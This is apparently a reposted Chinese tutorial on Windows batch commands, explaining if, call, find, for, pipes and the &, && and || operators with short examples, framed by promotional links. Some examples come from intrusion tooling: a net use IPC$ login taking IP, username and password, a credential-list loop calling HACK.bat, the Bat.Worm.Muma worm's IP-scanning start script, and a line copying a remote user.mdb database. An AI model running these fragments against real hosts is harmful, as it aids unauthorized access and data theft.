Windows - Windows批处理
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
Windows批处理
@echo off cleanmgr /sageset:88 cleanmgr /sagerun:88 @echo on
- ::
- @
- echo
- pause
- :和goto
- %
- if
- call
- find
- for,set,shift
- |
- >,>>
- <,>&,<&
- &
- &&
- ||
- sort
net use //%1/ipc$ %3 /u:%2
其中,%1代表IP,%2代表username,%3代表password。
if "%1"=="/?" goto usageif "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为/?或help时,跳转到usage。这里还可以用否定形式来表示"不等于",例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage。
if exist C:/Progra~1/Tencent/QQ/ad/*.gif del C:/Progra~1/Tencent/QQ/ad/*.gif
如果存在这些广告的gif文件,就删除这些文件。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句"如果不存在那些gif文件则退出脚本":
if not exist C:/Progra~1/Tencent/QQ/ad/*.gif exit
只是多一个not来表示否定而已。
masm %1.asmif errorlevel 1 pause & edit %1.asmlink %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm)。
masm %1.asmif not errorlevel 1 link %1.objpause & edit %1.asm
这种用errorlevel结果判断的用法是if命令很有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示"否则"的操作。以上代码变成:
masm %1.asmif exist %1.obj link %1.objelse pause & edit %1.asm
标准的if 用法可以在Cmd中查看if /? >if.txt。
start.bat:......CALL 10.BAT 0......10.bat:......ECHO %IPA%.%1 >HFIND.TMP......CALL ipc.bat IPCFind.txtipc.bat:for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
从上面两个脚本,我们可以从中获悉:
net send %1 This is a call example.call a.bat
这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。
call a.bat
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,Recursion Count=593, Stack Usage=90 percent,别忘了想一下到底是为什么!
@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串"7626" ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找"7626"(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(find并没有默认路径就是当前路径的功能,必须手动指定)。因为在find命令的帮助里有这么一句话:If a path is not specified, FIND searches the text typed at the prompt or piped from another command.
@echo offfor /? > for.txtset /? > set.txtshift /? >shift.txtexit
执行后就在当前路径下生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。关键还是那句话,看你有没有耐心去研究了。看如下的例子:
START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。你应该能体会到学习这两个命令所需要的耐心了吧。不懂的地方好好研究一下,相信你可以完全明白的!(做一件事情,如果你真想把它做好,做到极限,通过不懈的努力,有一天你会发现,自己到达近于极限的那种感受是没有接近于极限的人所从来没有办法企及的。我觉得,每个人经过自己的不懈努力都可以达到自己的极限。)
help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按下回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
help > a.txtmore a.txtdel a.txt
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(上上例的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
echo @echo off > a.batecho echo This is a pipeline command example. >> a.batecho echo It is very easy? >> a.batecho echo Believe yourself! >> a.batecho pause >> a.batecho exit >> a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo offecho This is a pipeline command example.echo It is very easy?echo Believe your self!pauseexit
看到这里,你得到了多少信息?
copy a.txt b.txt /y & del a.txt
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
dir file://1%/www/user.mdb && copy file://1%/www/user.mdb e:/backup/www
如果远程主机存在user.mdb,则copy到本地e:/backup/www,如果不存在当然就不执行copy了。想想它能用在什么地方,呵呵。
if exist file://1%/www/user.mdb copy file://1%/www/user.mdb e:/backup/www
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
dir c:/ && dir d:/ > a.txt
dir c:/ > a.txt && dir d:/ >> a.txt
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:/ > a.txt和dir d:/ >> a.txt。
dir c:/ > a.txt & dir d:/ >> a.txt
@echo offdir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看看下面:
@echo offdir s*.exe || echo Didn't exist file s*.exe & pause & exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
@echo offdir a.ttt /a & dir a.txt || exit
和
@echo offdir a.ttt /a && dir a.txt || exit
自己设置一下环境,看看结果吧!
给我老师的人工智能教程打call!http://blog.csdn.net/jiangjunshow
Windows - Windows批处理相关推荐
- windows .bat批处理实现进程监控确保程序运行
windows .bat批处理实现进程监控确保程序运行 转载于:https://www.cnblogs.com/liuys635/p/11258603.html
- windows下批处理删除文件及注册表项
1.windows下批处理删除注册表项 假如我要清除WinRAR的历史记录,可以新建个批处理文件, 然后在里面加入如下文字: reg delete HKEY_CURRENT_USER/Software ...
- Windows下批处理if exist用法的注意事项
作者:朱金灿 来源:https://blog.csdn.net/clever101 今天发现Windows下批处理if exist和del用法比较坑爹. 主要表现在if exist的格式要求比较严格, ...
- windows下批处理删除文件夹、删除文件、if exist用法
windows下批处理删除文件夹.删除文件.if exist用法 开发中用到Window批处理del.rd.if exist,总结用法便于后续使用. windows下批处理删除文件: * 使用del指 ...
- Windows平台批处理命令教程
Windows平台批处理命令教程 do2jiang@gmail.com 蒋冬冬 收集于网络 2009.4 该教程一共分为4大部分, 第一部分是批处理的专用命令, 第二部分是特殊的符号与批处理, 第 ...
- 【桌面运维】Windows使用批处理脚本快速创建访问共享文件的快捷方式
Lib 前言 关于Windows共享的知识 一种解决方案 批处理脚本的实现 简约版 简约版效果展示 美化版 美化版效果展示 优化简约版 前言 前阵子要给公司很多电脑安装访问共享文件夹快捷方式,方便各部 ...
- 【WINDOWS / DOS 批处理】findstr、find命令对汉字的支持
在WINDOWS / DOS 批处理编程中,使用findstr.find命令都可在文件中查找文本,但是它们对汉字的支持都存在如下"缺陷": 使用 findstr.find命令查找汉 ...
- Windows/Windows下堪称神器的软件集合
Windows/Windows下堪称(我封的 hhh)神器的软件集合,持续更新 以下排名不分先后,按照字母表顺序排列 CuteHttpFileServer/chfs:免费的.HTTP协议的文件共享服务 ...
- [ffmpeg][qsv][windows]windows下配置fmpeg英特尔qsv
[ffmpeg][qsv][windows]windows下配置fmpeg英特尔qsv 文章目录 [ffmpeg][qsv][windows]windows下配置fmpeg英特尔qsv 预装mingw ...
最新文章
- (整理类)文件描述符,文件描述符标志,文件状态标志
- AJAX跨域请访问的问题
- SQL Server 2005客户端安装和端口设置
- CCF201403-2 窗口
- SQL Server数据库log shipping 灾备(Part2 )
- HDU5620 KK's Steel【菲波拉契数列+水题】
- C++ Primer 第八章 标准IO库(转载)
- Word 参考文献的自动修改
- 001.DIV 标签添加滚动条
- [C#][算法] 用菜鸟的思维学习算法 -- 马桶排序、冒泡排序和快速排序
- 时间控件(选择时间范围的插件)
- coreos 安装 mysql_在CoreOS下部署WordPress实例教程
- 16年后,再次新注册个csdn账号
- 服务器本地文件无法复制粘贴,本地电脑与服务器突然无法直接使用复制粘贴
- about 日问输入法
- AVR单片机用progisp下载报错flash verify error at :0h
- 微信小程npm相关问题
- 网上书城 springboot vue前后端分离
- python更新数据库方法_python更新不了数据库解决方法
- blender script mmd_tool 自动重命名刚体到合适的名字